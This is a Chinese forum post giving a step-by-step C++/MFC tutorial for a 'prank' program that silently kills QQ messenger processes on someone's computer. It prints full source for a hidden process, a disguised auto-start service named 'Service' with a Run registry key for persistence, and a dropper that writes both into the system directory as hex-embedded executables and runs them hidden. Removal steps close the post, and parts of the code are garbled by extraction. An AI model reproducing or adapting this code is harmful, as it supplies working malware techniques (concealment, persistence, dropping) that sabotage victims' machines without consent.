HanDs
管理员

[Visual Studio文章] 亲手打造一个QQ恶作剧程序 



程序原理:获取系统中的所有进程,并保存在一个数组中,然后在数组中查找含有QQ,oicq,qq,OICQ字样的进程,如果找到就立即杀掉该进程.这样你一运行QQ,QQ进程就会被立即杀掉,也就是说如果该恶作剧程序一直运行你就不能上QQ了.呵呵,这招是不是有点毒啊?好了,现在一步一步的来讲程序的编写过程.

程序原理:获取系统中的所有进程,并保存在一个数组中,然后在数组中查找含有QQ,oicq,qq,OICQ字样的进程,如果找到就立即杀掉该进程.这样你一运行QQ,QQ进程就会被立即杀掉,也就是说如果该恶作剧程序一直运行你就不能上QQ了.呵呵,这招是不是有点毒啊?好了,现在一步一步的来讲程序的编写过程.

首先我们要解决的问题是如何实现恶作剧程序的自我隐藏,关于进程隐藏的文章很多,我就只简单的介绍一下了.在Win9X系统下可以通过调用RegisterServiceProcess API这个API函数将进程注册为一个服务模式的进程,这样在Win9X系统下用Ctrl+Alt+Del调出的任务管理器中将不会出现这个进程了.RegisterServiceProcess API函数存放于系统内核Kernel32.dll中.具体声明如下:
DWORD RegisterServiceProcess(
DWORD dwProcessId, //服务进程的进程标志,如果为NULL表示当前进程
DWORD dwType //如果参数为RSP_SIMPLE_SERVICE 表示注册当前进程
//如果参数为RSP_UNREGISTER_SERVICE 表示取消当前进程的注册
);
函数调用成功返回1,否则返回0
通过对RegisterServiceProcess 这个API函数的调用我们就能实现在Win9X系统下的进程隐藏了.但是要在WinNT系统下真正的实现进程隐藏就没有在Win9X系统下那么简单了.只要进程以进程内核的形式运行,进程就将出现在任务管理器中.要实现WinNT下进程的真正隐藏,只能以非进程的方式执行目标代码,也就是说把目标代码以线程的方式远程注册到宿主进程中.关于这种方法的实现已经有文章介绍,在这里就不多说了.在这里,我并没有采用这种隐藏进程的方法而是将进程注册为系统的一个名为Service的服务进程,虽然这样并没有真正的隐藏进程,但是在一般情况下还是不容易发现的.在Win2000下用任务管理器查看进程时是不能结束该进程的,必须通过控制面板中的服务管理控制台来停止服务,也可以在命令行下用net stop service来停止服务在XP下可以通过任务管理器结束该进程.这里简单介绍一下WinNT中的服务程序:
在WinNT中,一些后台服务程序是随着系统的启动而自动加载的.用户也可以通过控制面板中的服务管理控制台对服务的属性进行灵活的设置.甚至在用户没有登陆的情况下这些服务程序也能启动,象Ftp服务,WWW服务和一些数据库就是以服务的形式存在于NT服务器上从而实现了无人职守. 在NT操作系统中,所有的后台服务全都由服务控制管理器进行统一管理,这些后台服务的状态数据都保存在服务控制管理器数据库中.所以要想创建一个新的后台服务,在应用程序的主模块里应首先调用函数OpenSCManager打开该数据库,再调用函数CreateService在此数据库中创建1个新的服务线程对象,并将该线程对象启动属性设置为随系统启动自动加载,这样NT在重新启动时该线程就会由NT自动启动.完成这一步,仅仅实现了后台服务线程对象的注册,还没有建立与服务控制管理器的联结.要想启动服务可以通过函数StartService来完成,具体的过程我们将在编写Service.exe的时候介绍.
说了这么多,你也许都看得不耐烦了吧,OK,现在正式切入主题,开始动手打造我们的QQ恶作剧程序.程序由三部分组成,主程序funny.exe,kernel.exe,Service.exe.首先我们先把kernel.exe和Service.exe程序写好,这两个是完成主要功能的程序.然后将其转换成16进制代码放在在funny.exe定义的两个全局字符数组中,当funny.exe运行的时候根据操作系统的版本决定在系统目录下创建kernel.exe还是Service.exe.kernel.exe将被创建到Win9X的系统目录下,Service.exe将被创建到Win2000/XP的系统目录下.
现在我们开始来编写kernel.exe:
打开VC++6.0(啊?不要告诉我你电脑上没有装吧,那赶紧去装一个,不然你怎么写程序呢?呵呵)
运行AppWizard创建一个对话框应用程序.工程名为kernel.在CKernelDlg类中添加HideWindow(),HideProcess(),
Reg()三个函数.代码如下:
//隐藏对话框窗体
void CKernelDlg::HideWindow()
{
DWORD Style = ::GetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE);
Style = WS_EX_TOOLWINDOW 
::SetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE,Style); 
::MoveWindow(AfxGetMainWnd()->m_hWnd,0,0,0,0,FALSE);
}
//将进程注册为服务模式的进程从而隐藏自身
void CKernelDlg::HideProcess()
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
lpRegisterServiceProcess=(LPREGISTERSERVICEPROCESS)
GetProcAddress(hDLL,"RegisterServiceProcess");
lpRegisterServiceProcess(GetCurrentProcessId(),1);
FreeLibrary(hDLL);
}
//修改注册表,开机时自动运行
void CKernelDlg::Reg()
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,"\\kernel.exe");
DWORD dwvalue;
CRegKey Key;
LPCTSTR lpszKeyname="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
if(Key.Open(HKEY_LOCAL_MACHINE,lpszKeyname)==ERROR_SUCCESS)
if( Key.Queryvalue(dwvalue,"Kernel")!=ERROR_SUCCESS)
Key.Setvalue(lpsysfilename,"Kernel");
Key.Close();
}
这里用到了CRegKey类,需要在KernelDlg.cpp中添加头文件atlbase.h关于CRegKey的详细用法可以参考MSDN帮助文档.然后利用类向导添加WM_TIMER消息,并在消息响应函数中加入以下代码:
void CKernelDlg::OnTimer(UINT nIDEvent) 
{
m_PEArray.RemoveAll();
HANDLE hProcessSnap=NULL;
PROCESSENTRY32 pe32;
hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe32.dwSize=sizeof(PROCESSENTRY32);
//枚举系统中的所有进程并保存在数组类对象m_PEArray中
if(::Process32First(hProcessSnap,&pe32))
{
do
{
m_PEArray.Add(pe32);
}
while(::Process32Next(hProcessSnap,&pe32));

}
int i;
//在保存进程的数组中查找是否含有QQ,OICQ,qq,oicq字样的进程找到立即将其结束
for(i=0;i{
CString str;
str.Format("%s",m_PEArray.szExeFile);
if(str.Find("QQ")!=-1││str.Find("OICQ")!=-1││str.Find("qq")!=-1││str.Find("oicq")!=-1)
{
HANDLE hProcess;
DWORD ProcessID;
ProcessID=m_PEArray.th32ProcessID;
hProcess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
::TerminateProcess(hProcess,99);
CloseHandle(hProcess);
}
}

CDialog::OnTimer(nIDEvent);
}
其中m_PEArray的定义如下:CArray m_PEArray;,在对话框初始化函数中加入以下代码:
BOOL CKernelDlg::OnInitDialog()
{
CDialog::OnInitDialog();
......
......
HideWindow(); //隐藏对话框窗口
HideProcess(); //Win9x下在任务管理器中隐藏进程
Reg(); //改写注册表,开机自动运行
SetTimer(1,500,NULL); //设定记时器,不断刷新进程数组,并寻找QQ程将其结束
return TRUE; 
}
这样kernel.exe程序就完成了,现在可以编译连接成可执行文件了.(后附工程文件).
编写Service.exe: 

创建一个名为Service的Win32 Console Application程序,选择对MFC的支持Service.cpp的代码如下:
/******************************************************************/
/*Module:Service.cpp */
/*Author:Inetufo */
/*Email:[email protected] */
/*Date:2003/3/7 */
/******************************************************************/
// Service.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "Service.h"
#include "winsvc.h"
#include //CRegKey类需要的头文件
#include //CArray类需要的头文件
#include //ToolHelp函数需要的头文件

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// The one and only application object
CWinApp theApp;
using namespace std;
SERVICE_STATUS_HANDLE ssh;
SC_HANDLE scm,svc;
SERVICE_STATUS ss;
CArray m_PEArray;
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv);
void WINAPI Handler(DWORD Opcode);
void InstallService();
UINT KillQQ(LPVOID lpvoid);

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;

// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{

SERVICE_TABLE_ENTRY ste[2];
//线程入口表
ste[0].lpServiceName="Service"; //线程名字
ste[0].lpServiceProc=ServiceMain; //线程入口地址
//可以有多个线程,最后一个必须为NULL
ste[1].lpServiceName=NULL;
ste[1].lpServiceProc=NULL;
StartServiceCtrlDispatcher(ste);
InstallService();
}

return nRetCode;
}
//安装并启动服务
void InstallService()
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,"\\Service.exe");
scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(scm!=NULL)
svc=CreateService(scm,"Service","Service",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS│SERVICE_INTERACTIVE_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,lpsysfilename,NULL,NULL,NULL,NULL,NULL); 
if(svc!=NULL)
svc=OpenService(scm,"Service",SERVICE_START);
if (svc!=NULL)
{
StartService(svc,0,NULL);
CloseServiceHandle(svc);
}
CloseServiceHandle(scm);
}
//服务的真正入口点函数
void WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{


ss.dwServiceType = SERVICE_WIN32;
ss.dwCurrentState = SERVICE_START_PENDING;
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP│ SERVICE_ACCEPT_PAUSE_CONTINUE;
ss.dwServiceSpecificExitCode = 0;
ss.dwWin32ExitCode = 0;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
ssh=RegisterServiceCtrlHandler("Service",Handler);
ss.dwCurrentState = SERVICE_RUNNING;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
SetServiceStatus(ssh,&ss);
AfxBeginThread(KillQQ,NULL,NULL); //开始一个工作线程实现程序功能
ss.dwCurrentState = SERVICE_RUNNING;
ss.dwCheckPoint = 0;
ss.dwWaitHint = 0;
SetServiceStatus(ssh,&ss);


}
//处理服务要求
void WINAPI Handler(DWORD Opcode)
{
switch(Opcode)
{
case SERVICE_CONTROL_STOP:
ss.dwCurrentState =SERVICE_STOPPED; 
SetServiceStatus (ssh,&ss);
break;
case SERVICE_CONTROL_CONTINUE:
ss.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (ssh,&ss);
break;
case SERVICE_CONTROL_PAUSE:
ss.dwCurrentState = SERVICE_PAUSED;
SetServiceStatus (ssh,&ss);
break;

case SERVICE_CONTROL_INTERROGATE:
break;
}

SetServiceStatus (ssh,&ss);
}
//在进程列表中查找QQ程序并杀掉的线程函数
UINT KillQQ(LPVOID lParam)
{
while(1)
{

m_PEArray.RemoveAll();
HANDLE hProcessSnap=NULL;
PROCESSENTRY32 pe32;
hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe32.dwSize=sizeof(PROCESSENTRY32);
if(::Process32First(hProcessSnap,&pe32))
{
do
{
m_PEArray.Add(pe32);
}
while(::Process32Next(hProcessSnap,&pe32));

}
int i;
for(i=0;i{
CString str;
str.Format("%s",m_PEArray.szExeFile);
if(str.Find("QQ")!=-1││str.Find("OICQ")!=-1││str.Find("qq")!=-1││str.Find("oicq")!=-1)
{
HANDLE hProcess;
DWORD ProcessID;
ProcessID=m_PEArray.th32ProcessID;
hProcess=::OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);
::TerminateProcess(hProcess,99);
CloseHandle(hProcess);
}
}

Sleep(500);
}
return 0;
}
编译连接可以生成Service.exe程序.(后附整个工程)
现在我们已经得到了实现功能的两个程序,kernel.exe是在Win9X系统下实现功能的程序,Service.exe是Win2000/XP下实现功能的程序.现在就要将这两个文件转化成16进制代码.可以通过一个程序来实现,建立一个名为exe2hex的Win32 Console Application程序,程序代码如下:
#include
#include
int main(int argc,char **argv)
{
HANDLE hFile;
DWORD dwSize,dwRead,dwIndex=0,i;
unsigned char *lpBuff=NULL;
__try
{
if(argc!=2)
{
printf("\nUsage: %s ",argv[0]);
__leave;
}

hFile=CreateFile(argv[1],GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_value)
{
printf("\nOpen file %s failed:%d",argv[1],GetLastError());
__leave;
}
dwSize=GetFileSize(hFile,NULL);
if(dwSize==INVALID_FILE_SIZE)
{
printf("\nGet file size failed:%d",GetLastError());
__leave;
}
lpBuff=(unsigned char *)malloc(dwSize);
if(!lpBuff)
{
printf("\nmalloc failed:%d",GetLastError());
__leave;
}
while(dwSize>dwIndex)
{
if(!ReadFile(hFile,&lpBuff[dwIndex],dwSize-dwIndex,&dwRead,NULL))
{
printf("\nRead file failed:%d",GetLastError());
__leave;
}
dwIndex+=dwRead;
}
for(i=0;i{
if((i%16)==0)
if(i==0)
printf("\"");
else
printf("\"\n\"");
printf("\\x%.2X",lpBuff);
}
printf("\"");
}//end of try
__finally
{
if(lpBuff) free(lpBuff);
CloseHandle(hFile);
}
return 0;
}
编译出可执行文件exe2hex.exe,执行exe2hex kernel.exe >kernel.txt将输出结果重定向到一个文本文件就得到了kernel.exe的16进制代码,同理可以得到Service.exe的16进制代码.
啊,写了这么多还真有点累了,不过还好总算要完成了,歇口气.最后我们来编写主程序funny.exe:
用AppWizard生成一个名为funny的对话框程序.定义两个全局字符数组用来保存kernel.exe和Service.exe
的16进制代码:char exebuff9x[]="kernel.exe的16进制代码" char exebuff2k[]="Service.exe的16进制代码".添加HideWindow(),IsWin9X(),CreateFileService9x(CString FileName),CreateFileService2k
(CString FileName),RunService(CString FileName)几个函数,其代码和实现的功能如下:
//隐藏主窗口
void CFunnyDlg::HideWindow()
{
DWORD Style = ::GetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE);
Style = WS_EX_TOOLWINDOW 
::SetWindowLong(AfxGetMainWnd()->m_hWnd,GWL_EXSTYLE,Style); 
::MoveWindow(AfxGetMainWnd()->m_hWnd,0,0,0,0,FALSE);
}
//获取操作系统版本信息
BOOL CFunnyDlg::IsWin9X()
{
DWORD dwVersion;
dwVersion=::GetVersion();
if (dwVersion >= 0x80000000) //Win9x 
return TRUE;
else 
return FALSE; //Win2K/WinXP
}
//如果系统是Win9x则在系统目录下创建kernel.exe
void CFunnyDlg::CreateFileService9x(CString FileName)
{
DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(exebuff9x);
HANDLE hFile=NULL;
LPTSTR lpSysPath=new char[MAX_PATH];
LPTSTR lpCurrentPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
hFile=::CreateFile(lpsysfilename,GENERIC_WRITE│GENERIC_READ,FILE_SHARE_READ│FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_value)
return 
while(dwSize>dwIndex)
{
if(!::WriteFile(hFile,&exebuff9x[dwIndex],dwSize-dwIndex,&dwWrite,NULL))
return 
dwIndex+=dwWrite;
}
CloseHandle(hFile);
return 
}
//如果系统是Win2k/XP则在系统目录下创建Service.exe
void CFunnyDlg::CreateFileService2k(CString FileName)
{
DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(exebuff2k);
HANDLE hFile=NULL;
LPTSTR lpSysPath=new char[MAX_PATH];
LPTSTR lpCurrentPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
hFile=::CreateFile(lpsysfilename,GENERIC_WRITE│GENERIC_READ,FILE_SHARE_READ│FILE_SHARE_WRITE,NULL,
CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_value)
return 
while(dwSize>dwIndex)
{
if(!::WriteFile(hFile,&exebuff2k[dwIndex],dwSize-dwIndex,&dwWrite,NULL))
return 
dwIndex+=dwWrite;
}
CloseHandle(hFile);
return 
}
//运行创建的kernel.exe或者Service.exe
void CFunnyDlg::RunService(CString FileName)
{
LPTSTR lpSysPath=new char[MAX_PATH];
::GetSystemDirectory(lpSysPath,MAX_PATH);
LPCTSTR lpsysfilename;
lpsysfilename=(LPCTSTR)lstrcat(lpSysPath,FileName);
PROCESS_INFORMATION pi;
STARTUPINFO si;
memset(&si,0,sizeof(si));
si.cb=sizeof(si);
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW;
BOOL bRet=::CreateProcess(lpsysfilename,NULL,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi);
return 
}
在对话框的初始化函数里面调用上面定义的函数,其主要代码如下:
BOOL CFunnyDlg::OnInitDialog()
{
CDialog::OnInitDialog();
......
......
HideWindow(); //隐藏对话框窗口
CString FileName="\\kernel.exe";
if(IsWin9X()) //判断操作系统类型
{
CreateFileService9x(FileName); //在系统目录下创建kernel.exe
RunService(FileName); //运行kernel.exe
}
else
{
FileName="\\Service.exe";
CreateFileService2k(FileName); //在系统目录下创建Service.exe文件
RunService(FileName); //运行Service.exe
}
AfxBeginThread(ThreadMessage,NULL,NULL); //执行线程函数ThreadMessage
return TRUE; 
}
好了,funny程序也完成了,现在可以编译连接成可执行程序了,整个程序就算写完了,你可以测试一下了以上代码在Win98,Win2000,WinXp,VC++6.0环境下调试通过.(附整个工程文件).写了这么多快要累死了.如果有什么问题请来信[email protected],欢迎指教J


解决方法:
WIN98:
系统目录下将生成kernel.exe文件,可以先将注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersions\Run下面的kernel子键删除.重起系统再删除系统目录下的kernel.exe文件
Win2K/XP:
运行服务控制管理器,停止掉Service服务,然后将系统目录下的Service.exe文件删除,要把服务从服务管理器中清除可以将HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services下面的Service键删除即可.


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
亲手 打造 一个 Q Q 恶作剧 程序
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复